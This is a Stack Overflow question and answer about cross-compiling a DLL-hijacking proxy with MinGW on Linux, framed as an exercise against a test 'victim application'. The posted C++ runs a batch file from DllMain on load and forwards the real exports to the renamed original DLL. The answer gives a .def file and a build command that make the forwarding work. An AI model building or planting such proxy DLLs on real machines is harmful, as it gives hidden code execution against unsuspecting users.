11

I'm working through a DLL hijacking exercise, and have a DLL written which works as expected when compiled in Visual Studio. Essentially, when the DLL is loaded, it executes a shell command and passes off legitimate functionality (in this example, the CheckEvenOdd and PrintAMessage functions) to the originally intended DLL (in this example, GetEvenOdd.dll). The working code is as follows;

#include "stdafx.h" #include <windows.h> #pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd") #pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage") extern "C" __declspec(dllexport) DWORD WINAPI ExecuteCmd(LPVOID lpParam) { WinExec("c:\\Users\\Public\\execute.bat", 0); return 0; } extern "C" __declspec(dllexport) BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 

Although it works as intended when compiled in Visual Studio (Windows), I would like to generate the DLL in Linux (for use in a Windows program). Within Linux, I can cross-compile the CPP file (injector.cpp), and create the DLL using these commands;

i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a 

This creates the DLL successfully. However, when the DLL is loaded by my "victim application" (running on Windows), although the "ExecuteCmd" function gets executed, the exported functions (from the "pragma comment" line) are not available. Namely, the program which loads this DLL attempts to find the exported functions and is unable to (i.e. the following if branch of the DLL importing application is executed).

FNPTR fn = (FNPTR)GetProcAddress(hInst, "CheckEvenOdd"); if (!fn) { std::cout << "\nCould not locate the function CheckEvenOdd"; std::cout << "\n\nPress Enter to Continue..."; getch(); return EXIT_FAILURE; } 

That tells me the "pragma comment" line is not working as expected when I generate the DLL in Linux.

From some reading I understand these "pragma commands" are compiler specific. Is there some flags I can give to "i686-w64-mingw32-g++" (or some code change I can make) so that the exported functions are available when I compile the DLL in Linux?

4
  • Comment on the down vote? Commented Sep 28, 2018 at 17:40
  • I don't understand your question... how can you use WIN32 function on linux??? Commented Oct 1, 2018 at 13:17
  • I only want to compile the DLL in Linux. I plan to use it on Windows. Cross-compiling the DLL (the first code block) with the commands shown, works (the DLL is created and I can import it in another program) but the "linked" functions (the pragma) lines do not appear to (that is, the CheckEvenOdd and PrintAMessage functions are not available in the program making use of the newly compiled DLL). Note that these functions are available when I compile the same DLL (the same code) using Visual Studio. Commented Oct 1, 2018 at 13:26
  • I think that compiling with GCC you just need to give the -fPIC compiler option... Commented Oct 1, 2018 at 13:31

1 Answer 1

6
+50

Pragmas are specific to each compiler, your pragmas will work in Visual C++, but not in MingW. Instead you can use a .def file which are supported by Visual C++ and MinGW.

Here's what injector.def might look like in your case:

EXPORTS CheckEvenOdd = GetEvenOdd.dll.original.CheckEvenOdd PrintAMessage = GetEvenOdd.dll.original.PrintAMessage 

Compilation command:

$ i686-w64-mingw32-g++ -o GetEvenOdd.dll --shared injector.cpp injector.def 
Sign up to request clarification or add additional context in comments.

5 Comments

Thanks for your reply. This kind of worked (my client program is apparently able to get a pointer to the dll function) but now I'm getting some kind of memory dump when the function is actually called. imgur.com/a/iFa3JYg -- any ideas? The code on the right is the driver code (the checkevenodd function is the one being called)
The problem is that the dll compiled with mingw is using a different standard library than the application that's actually invoking that dll. So the dll and the application have different string implementations which causes the application to interpret the returned data incorrectly. SO has many Q&A's about passing data across dll boundaries. The easiest fix is to change CheckEvenOdd to use primitive types, so instead of returning a string, you could return a char array or a pointer to char.
The issue is that as part of DLL hijacking, I wouldn't normally control that DLL (any of the functions) nor the client application. All I control, is this intermediary driver that I am compiling in linux (the one pictured in the first code block of my question), Is there something I can change there to get the expected behavior?
There's no easy solution. Most DLL API's will use standard layout, and trivial types. When they aren't both of those, you need to use a compatible standard library (i.e use VC++), or reverse engineer the type's semantics, which would be VERY difficult. Code that doesn't restrict themselves to certain types are simply not compatible between different libraries. This is the case with SFML "The compiler versions have to match 100%!".
Note that GetEvenOdd.dll can be compiled with MinGW as long as GetEvenOdd.dll.original is compiled with VC++, since in that case the application gets compatible strings from the original dll. The issue only arises when the original dll is compiled with MinGW because MinGW's strings aren't compatible with VC++'s strings.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.